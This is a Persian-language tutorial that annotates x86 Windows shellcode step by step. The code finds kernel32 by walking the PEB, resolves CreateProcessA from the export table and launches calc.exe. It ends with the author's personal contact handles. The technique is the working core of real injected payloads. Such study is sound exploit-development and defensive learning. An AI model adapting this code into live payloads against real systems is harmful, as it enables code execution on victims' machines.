
این کد یک شلکد (Shellcode) است که برنامه calc.exe را اجرا میکند.
۱. تنظیمات اولیه
.386 ; از دستورالعملهای پردازنده 386 استفاده کن .model flat, stdcall ; مدل حافظه flat و قرارداد فراخوانی stdcall .code start: xor ebx, ebx ; EBX = 0 (صفر کردن رجیستر برای استفاده بعدی)
۲. پیدا کردن آدرس پایه Kernel32
ASSUME fs:NOTHING mov edi, dword ptr fs:[ebx+30h] ; fs:[30h] = آدرس PEB (Process Environment Block) ; PEB اطلاعات کلی پروسه را نگه میداره ASSUME fs:ERROR mov edi, dword ptr ds:[edi+0ch] ; PEB+0x0C = آدرس PEB_LDR_DATA ; این ساختار لیست ماژولهای لود شده را داره mov edi, dword ptr ds:[edi+1ch] ; PEB_LDR_DATA+0x1C = InInitializationOrderModuleList ; لیست پیوندی ماژولهای لود شده
PEB └──> PEB_LDR_DATA (offset 0x0C) └──> InInitializationOrderModuleList (offset 0x1C) ├── ntdll.dll ├── kernel32.dll <── ما این رو میخوایم └── ...
۳. حلقه جستجوی Kernel32
module_loop: mov eax, dword ptr ds:[edi+08h] ; آدرس پایه ماژول جاری رو بخون (DllBase) mov esi, dword ptr ds:[edi+20h] ; آدرس نام ماژول (FullDllName) رو بخون mov edi, dword ptr ds:[edi] ; به ماژول بعدی در لیست پیوندی برو (Flink) cmp byte ptr ds:[esi+12], '3' ; کاراکتر ۱۲ام نام ماژول رو با '3' مقایسه کن ; نام kernel32.dll در حافظه Unicode هست ; "kernel32.dll" → کاراکتر index 12 = '3' jne module_loop ; اگه '3' نبود، ماژول بعدی رو چک کن
"k e r n e l 3 2 . d l l" 0 2 4 6 8 10 12 ... ↑ index 12 = '3'
۴. رفتن به PE Header
mov edi, eax ; آدرس پایه kernel32 رو در EDI بذار add edi, dword ptr ds:[eax+3ch] ; eax+0x3C = offset به PE Header (e_lfanew در DOS Header) ; EDI الان به PE Header اشاره میکنه
┌─────────────────┐ ← eax (base address) │ DOS Header │ │ 0x3C: e_lfanew │──→ offset to PE Header ├─────────────────┤ │ PE Header │ ← edi └─────────────────┘
۵. پیدا کردن Export Directory
mov edx, dword ptr ds:[edi+78h] ; PE Header + 0x78 = Export Directory RVA ; (در Data Directory، اولین entry = Export Table) add edx, eax ; RVA + Base Address = آدرس واقعی Export Directory
۶. پیدا کردن جدول اسامی توابع
mov edi, dword ptr ds:[edx+20h] ; Export Directory + 0x20 = Name Pointer Table RVA ; این جدول آدرس اسامی تمام توابع export شده رو داره add edi, eax ; تبدیل RVA به آدرس واقعی
۷. جستجوی CreateProcessA
mov ebp, ebx ; EBP = 0 (شمارنده/ایندکس) name_loop: mov esi, dword ptr ds:[edi+ebp*4] ; آدرس RVA نام تابع iام رو بخون add esi, eax ; تبدیل به آدرس واقعی رشته نام inc ebp ; ایندکس رو یکی زیاد کن cmp dword ptr ds:[esi], 61657243h ; مقایسه ۴ بایت اول با 0x61657243 ; به صورت little-endian = "aerC" = "Crea" jne name_loop cmp dword ptr ds:[esi+8h], 7365636fh ; مقایسه ۴ بایت از offset 8 با 0x7365636f ; به صورت little-endian = "seco" = "oces" ← بخشی از "Process" jne name_loop ; اگه هر دو شرط برقرار بود، CreateProcessA پیدا شد!
C r e a t e P r o c e s s A 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 └──────────┘ └──────────┘ "Crea"=61657243h "oces"=7365636fh offset 0 offset 8
۸. پیدا کردن Ordinal تابع
mov edi, dword ptr ds:[edx+24h] ; Export Directory + 0x24 = Ordinal Table RVA add edi, eax ; تبدیل به آدرس واقعی mov bp, word ptr ds:[edi+ebp*2] ; ordinal تابع CreateProcessA رو بخون ; (هر ordinal یک WORD = 2 بایت هست)
۹. پیدا کردن آدرس نهایی CreateProcessA
mov edi, dword ptr ds:[edx+1Ch] ; Export Directory + 0x1C = Address Table RVA add edi, eax ; تبدیل به آدرس واقعی mov edi, dword ptr ds:[edi+ebp*4-4] ; آدرس تابع رو از جدول آدرسها بخون ; منهای ۴ برای تنظیم ordinal base add edi, eax ; RVA + Base = آدرس واقعی CreateProcessA
۱۰. صفر کردن حافظه روی Stack
mov ecx, ebx ; ECX = 0 mov cl, 11111111b ; ECX = 255 (0xFF) zero_loop: push ebx ; مقدار 0 رو push کن loop zero_loop ; این حلقه 255 بار اجرا میشه ; 255 × 4 = 1020 بایت صفر روی stack ; برای ساختن STARTUPINFO و PROCESS_INFORMATION خالی
۱۱. آماده کردن نام برنامه
push 636c6163h ; مقدار 0x636c6163 رو push کن ; little-endian: "calc" ← نام برنامه! mov edx, esp ; EDX = اشارهگر به رشته "calc" روی stack
۱۲. فراخوانی CreateProcessA
; پارامترها به ترتیب معکوس push میشن (stdcall) push edx ; lpProcessInformation → اشارهگر به "calc" (buffer صفر شده) push edx ; lpStartupInfo → همون buffer push ebx ; lpCurrentDirectory = NULL push ebx ; lpEnvironment = NULL push ebx ; dwCreationFlags = 0 push ebx ; bInheritHandles = FALSE push ebx ; lpThreadAttributes = NULL push ebx ; lpProcessAttributes = NULL push edx ; lpCommandLine → "calc" push ebx ; lpApplicationName = NULL call edi ; فراخوانی CreateProcessA


Telegram: @CaKeegan
Bale: @CaKeegan
Gmail : amidgm2020@gmail.com